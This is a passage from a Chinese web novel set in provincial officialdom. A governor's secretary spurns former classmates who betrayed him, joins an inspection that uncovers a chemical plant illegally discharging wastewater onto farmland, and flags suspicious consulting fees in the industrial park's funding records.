整盘棋,是周安引导着孟良德去下。 周安在利用棋盘,来说明滨西市的情况,表达他的想法,达到他跑官目的。 第185章 决心 城东区,一处隶属于花海集团的私人会所内。 毕阳坐在真皮沙发上,双脚懒洋洋地搭在茶几上,嘴里裹着一根雪茄,正在随意地看着一份合同。 在他的对面,坐着两个男人。 正是李承的老同学,汪浩轩和杨辰,两人坐得笔直,大气都不敢喘。 “这是什么合同?” 毕阳随手将合同丢在茶几上,一脸疑惑地问。 “毕总,这是明月新区三个楼盘的代理合同,之前您答应过我,只要拍下李承丑态的照片,就把那明月府,雨花庭和碧水天野的销售代理给我。” 汪浩轩擦了一下额头上的汗珠,紧张地说。 之前条件已经谈好了,可现在,毕阳却装傻充愣,这让汪浩轩感觉自己被戏耍了。 他心中有火,却不敢发作。 “是吗?我怎么不记得了?”毕阳吐出一口烟雾,说:“我们有自己的销售团队,怎么会用你们这些外包商呢。” “毕总,照片我也发给您了,您可不能出尔反尔呀。” 汪浩轩故作冷静地说完,从口袋中拿出一张协议书:“你看,这是我们当时签的协议,上面有你的签字,还有花海集团的章,这可做不了假。” “哦,确实是我的签字。” 毕阳扫了一眼,哦了一声,随即,他嘴角泛起一抹轻蔑的笑容:“不过呢,你说这三个楼盘,不是花海集团旗下的呀,这三个楼盘都在华宜开发公司,跟我们花海集团没关系。” 为了风险隔离,融资便利,税务合规以及资产的灵活性,很多开发商,在开发楼盘时都会注册一个新公司。 华宜开发公司是李美娇的公司。 但从法律上讲,华宜开发公司和李美娇本人都没有直接关系。 这也成为了毕阳不认账的借口。 “而且,你那个照片,对李承没有造成任何的威胁,他不还是好好地在省长秘书的位置坐着,你让我怎么兑现承诺呀?” 毕阳懒洋洋地坐起身,笑着说:“我看啊,当务之急,你不该来找我要项目,而是要去找李承。 现在公安已经准备对你们两个人采取抓捕了,你们犯的罪不轻,要被判刑的。” “什么?我们这不顶多不就算治安案件吗?”不等汪浩轩开口,杨辰顿时急了。 “呵呵...不懂法了吧。” 毕阳冷哼一声,将雪茄架在烟灰缸边缘:“我给你普普法,你们的行为涉嫌强制猥亵罪,侵犯公民个人信息罪,还可能构成投放危险物质罪,反正,数罪并罚,三到七年是要判的。 人家是省长秘书,他的照片你们也敢拍,还真是要钱不要命,我挺佩服你们。” 毕阳的这番话,是带着浓郁的讥讽意味。 “毕阳,你他妈地搞我,你不是说你们花海集团会摆平吗?”汪浩轩怒声道。 “你的照片分量不够,是你们的问题。”毕阳轻描淡写地说。 “你们要是不管我,我就把你交代我的这些事,都给你捅出去....” “随你。” 看着汪浩轩准备胡搅蛮缠,毕阳无所谓地摆了摆手。 在他的摆手下,几个保镖上前,强制将汪浩轩和杨辰拖出了会所。 ..... ‘咚咚咚...’ 家中,李承正坐在电脑前,审改省长的演讲稿,突然传来的敲门声。 “谁呀?” 李承走到门口,问。 这个时间点,许梦还在电视台录节目,他也没有点外卖,这让李承警惕起来。 自从上次在家门口被截走沉江,那种心理阴影还没消散。 “承哥,是我,柳思瑶。”门外传来柳思瑶的声音。 李承透过猫眼,看到只有柳思瑶一个人后,他打开了房门:“思瑶,你怎么来了?” “不止是我来了。” 柳思瑶的脸色并不好看,她瞥了一眼楼梯下。 李承的目光也顺着看去,看到了汪浩轩和杨辰。 “承哥。” 两个人手里拎着很多礼物,尴尬地冲李承笑。 其实,李承在听到柳思瑶的声音时,就猜测到是汪浩轩来了。 只不过,柳思瑶并没有得罪李承,他不能不给对方开门。 “你们什么事?”李承冷冰冰地问。 他身体挡在门口,并没有邀请几人进屋的意思。 “上次的事情,是我们错了,我俩特意买了些东西给你赔礼道歉。” 汪浩轩说话时,柳思瑶已经让到了一旁,给汪浩轩面对面与李承沟通的空间。 “承哥,咱们同学一场,我们也是一时头昏脑热,你别跟我们一般见识,我们知道错了,这么多年的兄弟感情呢,是不是....” 杨辰也陪着笑脸,恬不知耻地说。 在他们两个人像李承求饶时,一旁的柳思瑶始终冷眼旁观,表现出一种很厌恶的表情。 “思瑶,你找我,就是带他们过来这件事吗?” 李承没有理会那么二人,看向柳思瑶。 “嗯。”柳思瑶点头。 “那今天就不邀请你进屋了,回去吧。”说完,李承就要关闭房门。 这时,汪浩轩伸出手,拽住了门。 “你要干什么?”李承冷声问。 “承哥,你还记得这个吗?” 汪浩轩说着,撸起袖子,露出一个银色古巴手链:“这是你送我的礼物,那时候,我们都开心呀。 真的,在我的心里,你一直都是我汪浩轩最铁的兄弟!” 这个手链是上学时期,李承送给汪浩轩生日礼物。 这个手链,算是两个人友情的一种象征。 今天,汪浩轩特意翻出来这个手链带上,就是想让李承回忆起大学时期的美好回忆,念在旧情,给他一个机会。 “兄弟?呵呵呵....” 听到兄弟二字,李承冷笑了两声:“你们做的事情,有没有拿我当兄弟呀?” 田进骅抓走李承,将他沉江,逼他妥协时,李承都没有过如此的愤恨。 因为田进骅只是履行他的工作。 警察抓小偷,是警察的工作。 田进骅这种江湖混混威胁他,也是田进骅的工作,大家都是陌生人,各尽其职罢了。 但汪浩轩不同。 李承对这份兄弟情有多重视,如今的他,就有多恼火和失望! 第186章 一门之隔 “兄弟,我知道错了,我也是没办法,我这家庭你也知道,我需要钱,我也没想真的坑你。 我只是觉得,咱们一起跟花海集团合作,没有坏处呀。” 汪浩轩还在强词夺理,他知道,李承很重感情,认为可以求得李承的原谅。 “承哥,我不能进去呀,我要是被判刑了,我家人怎么办,你原谅我,帮帮我,好不好?” 汪浩轩说着,竟直接跪了下来,他抬起手,一巴掌抽在自己脸上:“兄弟,我不是人,我错了!” ‘啪’ 耳光抽得响亮,道歉的态度也十分真挚。 “你怎么变成这个样子。” 看到汪浩轩下跪的窝囊样,柳思瑶失望的丢下这句话,转身离开。 “起来。” 李承俯视着他,说。 ‘啪’ ‘啪’ 汪浩轩又连抽了自己两个耳光:“承哥,你不原谅我,我就不起来。” “汪浩轩,杨辰,想让我放过你们对吗?”李承冷漠地问。 “是。” 杨辰见李承这么问,觉得有希望,连连点头。 汪浩轩也停下扇耳光的动作,点了下头。 “那我问你们,如果你们拍到了你们想要的照片,我去求你们放过我,求你们删照片,你们会放过我吗?” 李承眼神冷淡的看着二人,问。 听到李承的问话,杨辰沉默了。 因为他很清楚,如果他们拿到足可以威胁李承的照片,他们会将李承牢牢地控制在自己手中。 成为他们赚钱的工具! “会,其实我做出那件事后,我就后悔了。” 杨辰还要脸,但汪浩轩到了这种地步,脸皮什么的,早就不要了。 他举起右手,伸出三根手指:“我发誓,我说的是实话。” “你说的话,你自己信吗?” 看着汪浩轩此刻的模样,李承不屑地笑了一声:“汪浩轩,这几年你变得太多了.....” 说到这,李承停顿了片刻,声音小了几分,眼神也黯淡了下来:“我也变了。” 换做是曾经的李承,他见到兄弟跪在自己面前,晓之以理动之以情地乞求他,他会心软。 可现在,他不会。 都说心软的人,走不了江湖路,混不了黑道,因为那是一条需要付出鲜血和良心,才能成就一方霸业的路。 可相比于黑道,仕途的残酷与考验,更加冰冷。 江湖人,至少还可以有情,在一些问题上,可以选择留情,可以跟随本心去做。 可踏上了仕途,想要成为一个合格的政治人物,面对任何个人考验时,哪怕是亲情,也只能有一个选择! “承哥...” 汪浩轩看到李承脸上的决绝,还想再说什么,李承却已经关上了房门。 ‘砰’ 房门重重关闭。 曾经大学期间,一幕幕美好的回忆,一张张天真的笑脸在李承心中闪过。 一起逃寝,翻墙,一起打闹,包宿。 几个怀揣着梦想的人,畅想着未来,吹着不着边际的牛逼。 会因为一个女生的分离,几个兄弟坐在马路边醉酒安慰。 那时候,大家没有钱,也没有势,吃顿烧烤都要几个人东拼西凑,还要精打细算着点菜。 可时候,大家一无所有。 却拥有最纯粹的感情和最灿烂的笑脸。 现在呢...什么都有了,却没了最初的那份心。 一道房门,隔绝了这么多年的感情。 门里门外,却已经成为了两个世界。 拿起手机,李承拨通了宫庆鑫的电话。 “宫局,那两个人就在我家门口,你安排人过来吧,地址是....” 说完地址,得到对方的回应后,李承无力的挂断了电话。 这通电话打出去,李承并不是为了抓捕他们。 他是在用这通电话,跟曾经那段友情,和曾经的那个自己做告别。 ..... 次日。 孟良德约见了公安厅长鲁林。 “鲁林同志,最近工作还顺利吗?”孟良德端起李承给他倒的茶,抿了一口,问。 “有难题,但能克服,上任厅长的凝聚力很强。”鲁林也喝了一口茶,淡淡地说。 李承待到两人放下茶杯后,又给二人添了茶。 跟在孟良德身边这么久,他已经习惯性地去分析任何人说的任何话。 在审计局工作时,大家为了工作开展得顺利,弯弯绕绕的话很少,工作性质在那。 可当了省长秘书后,他见到的大部分人,说起话来基本都是弯弯绕绕,话里藏着另一层意思。 鲁林这句话,看似是阐述自己工作有困境。 实则,是在侧面告诉孟良德,他自己内部的那摊子事没解决,你孟省长想要开启调查那些事,需要等。 至于等多久....要看他的心情。 毕竟,孟良德在常委会议上投了弃权票,导致他无法进部。 “若是他们妨碍到了公务,省政府可以给你提供帮助。”孟良德道。 这话是告诉鲁林,别用内部矛盾当借口,该办的事情,要提上日程。 “孟省长,这件事不太好办,百利同志在离开公安厅之前,提拔了一部分同志,这些同志都身居要职,也都以百利同志马首是瞻。” 鲁林无奈的摇了摇头,说。 这也的确是当下鲁林遇到的难题。 现在的鲁林,虽为省公安厅一把手,可他的权力处于架空状态。 身边没亲信,要职又被常百利的亲信牢牢掌控,人是刚提拔上来的,没有什么错误,他也调不走。 他的处境是困难的,但他想拖延孟良德,也是真的。 “办法总比困难多,公安厅是要害部门,我和洪波书记都会全力配合你,在公务面前,有些例可以破。” 孟良德先是表明了他的决心。 公安部门仍有常百利的政治遗产,很多事情就无法顺利进展,这是孟良德不想看到的结果。 但他也知道,鲁林对他的弃权票耿耿于怀,于是又换了一种温和的语气,以玩笑的方式问:“是不是对自己没有升任副省长而失落呀?” “没有。” 闻言,鲁林摇了摇头,失落和不满是肯定的,但他不能说实话:“上任厅长迟迟没有提拔副省长,我刚到东江省,工作还没有熟悉透彻,也不合适。” 第187章 巴掌,甜枣 “你和常百利不一样,他是资历浅,政绩不足,你在岭南省可是有足够政绩的,是一位很出色的同志嘛,呵呵呵....” 孟良德抬高了鲁林,缓和对方的不满情绪后,继续说:“只不过呢,东江省跟岭南省的政治体系有所不同。 崇山同志提议过让常百利升任副省长,也都被反对,你刚来就锋芒太盛的话,总是要被人惦记的。 做出点政绩来,让常委们认可你,下一次,我想就不会再有反对的声音了。” 常百利的提名,主动权在孟良德这里。 他是马洪波的人,马洪波的票,一定是会投给他的。 而吕崇山等人,不希望他成为省委常委,在下一次提名中,一定还是会投反对票的。 唯一的不确定因素,就是孟良德这一方的票权。 这种‘三足鼎立’的场面下,孟良德即便势小,却有掌控胜负的资格。 而孟良德这番话也说得明白。 只要鲁林拿出政绩,下一次,他的票会选择投给鲁林。 有了孟良德的支持,鲁林升任副省长,便不会再有阻碍。 至于说,孟良德口中的政绩是什么。 包括李承在内都很清楚。 “内部整顿后,我就准备开展向省委省政府打报告,开展一次全省性,深度的扫黑除恶专项斗争。” 鲁林懂孟良德的意思,立即配合地说。 “嗯,事关百姓的利益,这件事要尽快开展。”孟良德微笑点头。 李承是打心眼里,佩服孟良德的政治手腕。 打一巴掌,给一个甜枣。 投下弃权票,明明是限制了鲁林的晋升,也打压了马洪波‘一言堂’的进展。 可鲁林即便心中不满,却仍要全力配合他的工作。 因为他将自己要办的案件,跟鲁林的晋升捆绑在了一起。 鲁林不办,或办得不好,鲁林将在下次副省长提名中,仍然会败选。 在这种绑定下,鲁林当然会全心全意地给他办事。 接下来,两个人又在工作问题上聊了一会,鲁林告辞离开。 “省长,到时间出发了。” 李承收拾完茶具,联系王师傅在楼下等候后,对孟良德说。 下午,他们要去吾月县视察工作。 孟良德上任后,整顿内部团队,解决上任省长遗留的一些烂摊子,用了他大半年的时间。 年前下去视察一圈工作后,孟良德也对各地情况有所了解。 下一步,孟良德就要开始主抓经济。 吾月县是汉江的下属县,属于是‘皇城根下’‘天下脚下’这一圈的经济,自然是要最先抓起的。 而且,吾月县承载了汉江市产业升级后的大部分重工业,经济发展也是最快速的。 快速的经济发展,产业迁移,就容易出现一些问题。 “嗯。” 孟良德点了点头,下了楼。 车队开到吾月县,县长已经在产业园区,等候多时。 汽车停稳,李承下车给孟良德拉开车门。 县长吴志平连忙小跑几步上前,伸出双手:“孟省长,欢迎您莅临吾月县视察工作。” 孟良德跟他握了握手,看着产业园区阔气的招牌,说:“志平同志,你们这个产业园的门面,搞得很有派头嘛。” “呵呵呵...有些门面是要撑起来的,外地的投资商过来看,要给人一个好印象。” 吴志平笑呵呵地回答道。 “面子不错,就怕是驴粪蛋子表面光。”孟良德意味深长地说。 这次来,孟良德除了视察工作,抓经济之外。 也是收到了一些关于产业园区的风声,园区内,并不是一片欣欣向荣。 “这些产业都是汉江搬迁过来的,都是老字号了。” 吴志平知道孟良德意有所指,笑着回应道。 他倒是把责任瞥得干干净净,意思是说,他们吾月县不过是一个承载地区。 企业都是汉江的企业,有问题,也是在汉江出的问题。 “呵呵呵...老字号,新字号,都在政府的监督和领导下。”孟良德皮笑肉不笑地说。 他的意思也很明白。 就是告诉吴志平不要撇清责任,现在这些企业在吾月县,就归吾月县监管负责。 这些企业有问题,就是吾月县的监管有问题。 “您说得对。” 对此,吴志平干笑两声,岔开话题:“孟省长,我带您进去视察。” “嗯,好。” 孟良德点头,大家又上了各自的车,朝着产业园区进入。 吴志平想给孟良德留下好印象,自然是要带孟良德优先去看几个发展稳定,在当地处于龙头的企业。 而这些企业,也是孟良德此次来到的主要目的之一。 企业的发展与当地的税收,就业,有决定性的关系。 一连看了三个企业,孟良德对此,都很满意。 也给提出了一些建议,并谈论了一些政策扶持等问题。 “孟省长,接下来我们去益春集团,这家公司是我们吾月的本土企业,是在我们吾月县的骄傲。” 吴志平笑呵呵地推荐道。 “先不去了,这个公司的情况,我有过了解。” 孟良德摆了摆手,说:“接下来我们去....” 说到这里,孟良德停顿了一下,目光看向李承。 李承知道,孟良德忘记了企业名字,连忙上前,低声提醒:“旭日化工。” “去旭日化工。” 经过李承的提醒,孟良德开口道。 听到旭日化工,吴志平的笑容僵住了刹那。 “有什么问题吗?”孟良德见他迟疑,问。 “旭日化工已经停业整顿了,我带您去其他公司视察吧,相比于其他产业,旭日化工的规模不算大。” 吴志平略显尴尬地说。 旭日化工存在一定的污染问题,不少人举报。 而孟良德这次过来,一方面原因也是为了此事而来。 企业的发展,不能建立在百姓的健康上,当初雄黄矿的问题,还历历在目,这种问题孟良德是要严厉杜绝的。 “停业整顿了?什么时候的事情?”孟良德闻言,眉头微皱,问。 “有一段时间了。” 吴志平下意识地摸了一下鼻子,说。 “是吗?我还以为今天刚停业呢?” 第188章 太年轻了 “是吗?我还以为今天刚停业呢?” 孟良德这句,看似是玩笑话,实则,是明晃晃的敲打。 在来之前,省政府对旭日化工做了一定的功课,昨天这家化工企业还在正常经营。 可吴志平却谎称整顿一段时间了,这是在隐瞒,也是在欺骗。 这家化工企业的关门,完完全全就是为了躲避今天孟良德的视察。 “孟省长,您说笑了,喝令整顿的批文还在我的办公桌上。”吴志平说。 “不要紧,停业整顿又不是倒闭,去看看。” 孟良德说完,迈步朝着自己的专车走去,丝毫不给吴志平再次开口的机会。 吴志平清楚,孟省长是了解了一些情况才来,对旭日化工有针对性,瞒是瞒不住了,只能快步上车,给孟良德带路。 车队来到旭日化工。 他们到达后,化工厂的大铁门紧锁。 等了十几分钟,一个年轻人才急匆匆地赶过来。 “吴县长,让您久等了,我这路程远,接到您电话就第一时间赶过来了。”年轻人歉意地对吴志平解释原因。 “这位是孟省长,来视察一下你们企业,把门打开吧。”吴志平扫了年轻人一眼,道。 “嗯,好。” 这人也没有跟孟良德打招呼,一副愣头青的样子,将门打开。 “孟省长,这位是化工厂老板的儿子,也是这里的经理,张洋。” 吴志平见化工厂老板张云天打发他儿子过来,有点显得对孟良德不重视,连忙解释。 “嗯。”孟良德用鼻音应了一声,听不出喜怒。 “张洋,你爸怎么没来?他干什么去了?”吴志平问。 “我爸跟尚...我爸上市里了,一时半会赶不回来了。”张洋前面的话说到一半,似乎意识到不对劲,连忙改口。 他这句话,可给吴志平吓了一头冷汗。 心中暗骂张云天找了个不靠谱的家伙过来。 张云天在干什么,他是清楚的,正在陪县委书记尚建民的老婆打牌,但这话可不能乱说。 “哦,这样呀,让他抓紧回来。”吴志平吩咐。 “嗯,好。”张洋点头。 “去看一下你们化工厂的排污系统。”孟良德开口,直奔这次视察的主题。 “这..这个还是别看了吧,排污没什么看的,孟省长,我带您去看看车间吧,要不...” 闻言,张洋尴尬地挠了挠头。 排污系统什么情况,他心里门清,那是不能给省领导看的。 看了就要出事。 可他一时间又想不到什么好理由搪塞。 在面对一位省长的威严时,以他浅薄的经历,只能用一直近乎愚蠢的言辞,来婉拒孟良德。 “孟省长怎么安排,你就怎么做。”吴志平无奈地瞪了张洋一眼,道。 “吴县长...这...” 张洋想跟吴志平说些什么,却被吴志平恶狠狠的眼神瞪了回去,只好乖乖点头:“哦,好。” 在张洋的引领下,视察团队来到了排污间。 “孟省长,这就是我们的排污系统。”张洋介绍道。 来到这里,孟良德的眉头紧皱了起来,目光看向了吴志平。 而李承也觉得这个叫张洋的年轻人很没脑子,因为,他在把包括孟良德在内的整个视察团队当傻子。 这个排污明摆着就是一个烂尾工程,甚至没有完善建设。 李承上前一步,往排污渠内看了一眼:“张总,你这里的排污渠一点使用痕迹没有,确定是在这里排污吗?” 这里的排污情况,就算李承不说,在场所有人也看得清清楚楚。 李承去看,去开口说,算是充当孟良德的嘴替,去问张洋。 “额...这个还没有投入使用,我们这不一直在停业整顿嘛,呵呵呵...”张洋用笑容,掩饰自己的尴尬与谎言。 “你们昨天还在开工,使用什么排的污?”李承开口追问。 “这个...” “你这个小同志,怎么竟耍滑头?” 吴志平开口,对张洋进行了批评。 他知道瞒不住了,便想给视察团队留下一些好印象。 “我不怎么在厂子,不太了解,但好像隔壁还有个排污管。” 张洋挠了挠头,解释了一句后,带着众人来到了真正的排污地点。 看到这个排污点时,大家表情的沉重起来。 没有任何的净化系统,一条长长的管道,直接通室外。 “去外面看看。”孟良德道。 在他的吩咐下,张洋也认命了,他很焦急,额头都渗出汗珠,却也没办法。 在张洋的引领下,一行人饶过了厂区,来到了那条排污管的后方。 那条排污管道,最终通向的地点,是一个沟渠。 这些化学污水,没有经过任何的处理,直接排到了沟渠之中。 而这个沟渠,是灌溉农田使用的。 “吴县长,这就是你们县政府监督的成果吗?” 孟良德冷声质问,也不等对方回答,说:“从今天开始,这间化工厂无限期停业!” 听到无限期停业,张洋顿时慌了,脱口而出自己的不满情绪:“孟省长,大家都这么做,为啥给我们无限期停工呀。” 听到这话,吴志平的脸都白了。 看向张洋的眼神中,充满了愤怒的杀意。 他年纪轻的一句口无遮拦,却要给县里造成很多的麻烦,对他们县领导班子,更是灾难。 “看来,像旭日化工这样的污染厂还有很多家呀。” 孟良德轻哼一声,看向身后的分管环保的副省长郭涛:“郭涛同志,像旭日化工这样的企业,有多少家,查多少家,决不股息!” “孟省长,这些重工业多多少少都有污染,这些都是我们县的支柱企业,不能停呀。” 这时,吴县长忍不住地开口了。 这些工厂是他们吾月县的发展命脉,对于这些工厂的污染排放情况他了解,若是停工了。 想要达到标准再复工,需要数月的时间,而且需要巨额投资从新修建污水处理站。 这对政府,对企业,对民生都有严重的后果影响,造成的经济损失,是无法估量的! 第189章 白脸 “任何经济发展,都不能建立在百姓的安危上,这是底线!”孟良德不容置疑地回绝了吴志平。 关于停业超标企业的后果,孟良德难道不知情吗? 他当然比任何人都清楚。 只是在这种场合,他需要树立起威严,要给县领导班子足够的震慑。 他属于是唱白脸的。 而分管环保的副省长郭涛,就属于红脸。 等到孟良德离开吾月县,他也会在整改的基本原则上,放宽一些程度,睁一只眼,闭一只眼。 由郭涛逐步去监督和完善排污问题,在尽量将损失降低至虽小的情况下,解决问题。 两个人一唱一和,这样,县领导班子和企业们也会极力配合。 因为他们不敢惹怒白脸的孟良德,他们会怕引得孟良德再次来视察,将整个超标企业和领导班子‘一网打尽’。 “孟省长,其实,这件事也不能怨这些企业,我们现在的情况,是有原因的。”吴志平低声解释道。 “什么原因?”孟良德问。 “当初产业迁移是李雪忠省长亲自操刀,本来计划是将重工业,高污染企业集中,进行集体净化排污,搭建一个集中的净化站。 但因为政府拨款迟迟不到位,这个净化站的建设也就延迟了。 可企业等不及呀,李雪忠省长也想让企业尽早投入省长,是在他的许可下,企业陆陆续续复工。 后来,李雪忠省长就出了事,这个净化站项目就彻底流产,我也向市里打过报告,但市里一直以财政紧张,没有拨款。” 吴志平道明了这件事的原因。 听完他的讲述,孟良德回过头,跟随行的市领导碰了一个眼神后,说:“上任班子遗留的问题,不是你们县里放纵的理由。” 说完,他又看向副省长郭涛:“关于排污问题,一定要尽快解决!” “是,孟省长。”郭涛答应。 这件事存在上任省长的遗留问题,孟良德并没有继续对吴志平进行更多的苛责。 视察了一圈,在县里开了一个会议后,视察团队准备返回汉江。 “孟省长,您和视察团队辛苦了一下午,就在县里吃饭吧,我已经提前通知他们准备了招待宴。” 吴志平见孟良德等人要走,客气地邀请道。 已经临近晚饭时间,他们不邀请省长留下来吃饭,面子工程过意不去。 “不吃了,给吾月县政府和人民省一点吧。” 孟良德摆了摆手,他对这次的视察并不满意。 被孟良德拒绝,吴志平表情失望,心里却很高兴,他巴不得孟良德早点走。 在县领导班子的送别下,李承给孟良德拉开车门,待到孟良德坐稳后,他关闭车门,坐上了副驾驶。 “又是一个政治工程。” 倚靠在车座上,孟良德感叹了一句。 这已经是上任省长李雪忠给他留下的第五个烂摊子。 坐在副驾驶的李承,都为自己这位老板感到担忧。 孟良德是有政治野心的人,也是一个实干家,可他上任将近一年时间,一直都在解决上任遗留的问题。 李雪忠在任期间,大搞特搞,为了推动经济发展,达到政治目的,近乎于不择手段。 看似一些工程做得风生水起,深挖下去,里面是一滩烂泥。 “这不止上任的遗留问题,还有当地政府的纵容。”李承也感叹了一声。 他说的,也是一句实话。 若是吾月县委县政府想要解决排污的问题,一定能够找到解决的办法。 问题在于,这些领导班子也不想解决。 从孟良德到达吾月县产业园区开始,吴志平就在遮遮掩掩,根本没拿出一个解决问题的态度。 “哼...都想着能拖就拖,拖到卸任后留给下任领导,没有半点的责任担当。” ..... 李承十分清楚孟良德的行事作风。 这次吾月县视察,排放污水的问题,触碰到了孟良德的敏感神经。 孟良德一定会对此事进行跟进和解决。 所以,在次日一早。 李承开始着手调查起,当初工业园区的立项文件,环评报告,资金调拨记录等。 拿到这些文件后,李承来到综合一处,递给了李薇儿:“李薇儿,这些文件全部复印一份,尽快送到我的办公室。” “好的李处长。” 李薇儿接过文件,麻利地拆下书钉,进行复印。 她期盼着李承给她工作调动,自然要在领导面前好好表现。 交代李薇儿后,李承回到自己的秘书间,开展在电脑上进行操作。 他先是打开吾月县的高精度地图。 对于工业园区的那条污水渠进行了风险评估。 根据水源的流动,寻找出存在的隐性风险,可能对哪些地区,哪些村庄造成影响,是否应该启用应急水源。 好在,经过李承的风险,这条排污渠虽是直接排放污水,但总体建设也是经过规划的,流动方向不在居住区,对于民众的健康影响,相对较小。 主要污染的,都是一些农用田。 想来,这群人也不是胆大妄为地排放污水,他们也怕惹出祸端,有刻意的规避。 ‘咚咚咚...’ 正在李承复盘分析时,办公室的门被敲响。 李薇儿拿着复印好的资料走了进来:“李处长,您要的文件已经复印好了。” “放那吧。” 李承专注地看着电脑,随口道。 “好。” 李薇儿轻声应下,将文件放在桌子上。 “那我先回去了。” 这回,她也没有多逗留,离开了办公室。 再次复盘一遍后,李承看向桌子上的文件。 文件被分为两摞,一摞是原件,已经被从新装订好,还在按照原来的钉口钉上的。 另一摞是李承要的复印件。 拿着原件,李承还给了各个档案室,回到办公室,翻看起复印件。 边看,他边用红笔进行画圈。 每一个画圈的地方,都有上任省长李雪忠的签字。 这些文件中,更加佐证了李雪忠为了尽管完成他的政治工程,赶工期,对报告的简化审批,特批。 而其中,在一份资金调拨记录上,李承发现了端倪。 作为审计出身,他对金钱数字极为敏感,几笔并不起眼的资金调拨,让李承警惕起来! 第190章 查事不查人? 正在李承反复查看调拨记录时,门外传来脚步声。 李承抬眼看去,正是分管生态环境的副省长,郭涛。 “李秘书,看文件呢?” 郭涛笑呵呵地走了进来,跟李承打了声招呼。 “郭副省长呀,您请坐。” 李承看到他过来,将文件放置在电脑屏幕下方。 看似是随意举动,却也能挡住郭涛的视线,让他看不到文件内容。 这份文件不怕他看,这个动作,是李承养成的一种习惯。 李承起身给郭涛倒了一杯水,说:“孟省长在开视频会议。” “我不找孟省长,是想跟你聊几句,不打扰你工作吧?”郭涛坐在沙发上,接过李承递来的水杯,说。 “郭副省长也是我的领导,领导找下属谈话,怎么会打扰。”李承坐在郭涛的对面,微笑说。 嘴上这么说,但其实,就是一句客套。 在职位上,郭涛属于他的上级,但并非他的真正领导,他的真正领导只有一个,那就是孟良德。 从动作,就影射了这一领导区分。 如果是面对孟良德,在为得到许可时,李承是不敢贸然坐下的。 但对待郭涛,他不会在意这些。 “找你呢,是想谈一谈关于吾月县工业园区的问题。” 郭涛说话的同时,从口袋里掏出一盒烟:“我是想让你劝劝孟省长,这件事他的态度很强硬。 这不能这么硬查下去呀,先不说对吾月的经济会造成影响,就是对于咱们省政府内部,也是有隐患的。 李雪忠虽然被抓,但他在省里还有不少的老部下,工业园牵扯的部门也很多,真要把这团火烧下去,怕是会牵扯到一大片,不利于省里的稳定呀。” 郭涛这次找李承,就是想让李承吹一吹孟良德的耳边风。 这就是秘书的影响力。 这种风,郭涛不敢亲自对孟良德吹,一来,孟良德对他并不信任,二来,他也怕被猜忌。 这种话由李承去讲,孟良德能听得进去,也不会有什么坏影响。 但说到底。 郭涛来找李承,说的话,是打着冠冕堂皇的理由。 实则,他也是在给自己找台阶。 毕竟,当初关于工业园区的环保审批上,他也是参与的一份子。 无论是主动还是被动,参与了,也签了字,省长查下来那就是有责任的。 “抽根烟。” 见李承并没有第一时间回答,郭涛递过去一支烟。 “谢谢。” 李承接过香烟,却并没有抽。 虽说,郭涛进门时,已经将办公室的门带上,不会有其他人一走一过看见,影响形象。 但李承也要保持秘书间的空气清晰,少抽一根烟,散味道也能快一些。 郭涛是副省长,他当然不会主动给李承去点烟。 烟已经递了过去,李承抽不抽是李承的事情。 郭涛吸了一口烟,等待李承的答复。 “郭副省长,孟省长对工业园区的事情,也做过了一些了解,他知道当年在环保问题上,您是提出过质疑的。 他早上还说,您是一个敢说真话,能办真事的人。” 李承委婉地回答了郭涛。 李承听得出来,郭涛找他说这些,是怕调查下去,牵连到他这位分管生态环境的副省长。 所以,李承的这席话也是在告诉郭涛,可以适当的放宽心,孟省长知道他和李雪忠并非一路人,只是在李雪忠的权威干涉下,进行了妥协。 李承这些话中,有真有假。 真话是,昨天从吾月县回来后,孟良德的确加班加点对工业园区进行的了解。 省长在为工作做事,身为秘书的李承,自然也不会下班。 他是全程跟到孟良德回迎宾馆为止,这期间,孟良德确实得知了当初郭涛在环保问题上,提出过反对。 只不过,李承说孟良德夸郭涛的那句话,是编造出来的。 听到李承的话,郭涛皱着的眉头舒展开了一些。 孟良德没有见他归为李雪忠的余党,这让郭涛安心不少。 “我还是希望你能跟孟省长去说一说,想要解决事情,现在就要对事不对人嘛。” 郭涛道。 他的意思是,只办事,不查人。 但以孟良德的性格,肯定是要借机换到一些人的,尤其是李雪忠的残部,孟良德一直想找机会换一批。 这次有机会,孟良德不可能不动手。 “嗯,我会劝孟省长的。” 李承心里明镜,却没有拒绝郭涛,表面应和。 “那我就不打扰李秘书工作。” 见李承答应,郭涛将香烟掐灭,离开了办公室。 郭涛走后,李承继续开始看那份资金调拨记录。 边看,他继续用红笔在上面画。 他将自己认为的几笔可疑资金流出,全部圈了出来。 这几笔资金有一个特点,都属于前期工作费用。 而且,金额较为异常,超出的正常费用范畴。 所谓的前期工作费用,就是类似于策划费、咨询费、研究费、设计费等。 这些费用的特点,就是没有具体的实际价值物品作为衡量标准。 李承在审计部门工作多年,遇到的很多贪污腐败,都会选择在这些费用里做手脚。 所以,对于这方面的支出,李承格外关注。 而以他的以往经验,也对这类费用的支出,有一套他自己的标准。 关于工业园区的前期工作费用,远远超出了李承的这一套标准。 其中,咨询费和勘察费的总额,就高达两千万,其中有一千二百万,流出到同一家公司。 ‘嗡嗡..’ 李承还准备在研究一番时,手机传来震动。 这是李承设定的闹钟,是为了提醒李承,孟良德的会议即将结束。 李承看了一眼时间,起身朝着视频会议室的方向赶去。 和孟良德一同回到办公室。 李承拿上自己准备好的材料,递到孟良德的面前:“省长,这是关于吾月工业园区的资料。 从目前推断,这些工厂的污水排放对于居民影响较小,主要污染的是农田。” “嗯。” 孟良德看着面前井井有条的文件,对李承满意地点了点头。 他欣赏李承,是李承身上有股子干劲儿,人也机灵,不用他过多废口舌。 而信任李承,是在那几次考验里,李承的坚定和不屈,见证了李承的人品。 孟良德工作多年,李承是他最满意的一任秘书! 第191章 摸底 “省长,还有一个疑点,我觉得资金支出上,可能存在一定的问题。”李承说。 其他用红笔圈圈点点出来的,都是整个工业园区建设到运营的各个负责人签字。 目的是为了让孟良德更直观地知道,一些问题该找哪些人了解,由哪些人承担责任。 但有可能涉嫌贪腐问题的,还是要从资金调拨记录看。 “哪里有问题?”孟良德问。 得到省长的询问,李承这才将手伸向桌子上的那份调拨记录,翻到他画红圈的页。 “以我在审计部门的经验来看,咨询费和勘察费属于严重超过费用本身,其中一千二百万都流入了一家公司,我觉得有些可疑。” 李承只是一个秘书,他没有真正的决定权,所以,也就不能把话说死。 他只能用客观的方式,提出自己的猜测,至于如何定夺,还要看省长的意思。 “嗯,我知道了。” 孟良德分管审计,在这方面也有专业的经验,他同样对这笔巨额开销产生怀疑。 “刚才有人来过?”孟良德问。 